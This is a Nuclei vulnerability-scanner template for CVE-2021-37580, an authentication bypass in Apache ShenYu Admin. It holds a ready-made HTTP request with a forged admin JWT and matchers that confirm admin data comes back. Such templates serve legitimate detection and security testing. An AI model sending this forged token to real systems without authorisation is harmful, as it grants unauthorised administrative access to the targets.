nuclei-templates/cves/2021/CVE-2021-37580.yaml

id: CVE-2021-37580

info:
  name: Apache ShenYu Admin JWT authentication bypass
  author: pdteam
  severity: critical
  description: A flaw was found in Apache ShenYu Admin. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. This issue affected Apache ShenYu 2.3.0 and 2.4.0
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37580
    - https://github.com/fengwenhua/CVE-2021-37580
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37580
    cwe-id: CWE-287
  tags: cve,cve2021,apache,jwt,shenyu

requests:
  - raw:
      - |
        GET /dashboardUser HTTP/1.1
        Host: {{Hostname}}
        X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'query success'
          - '"userName":"admin"'
          - '"code":200'
        condition: and

      - type: status
        status:
          - 200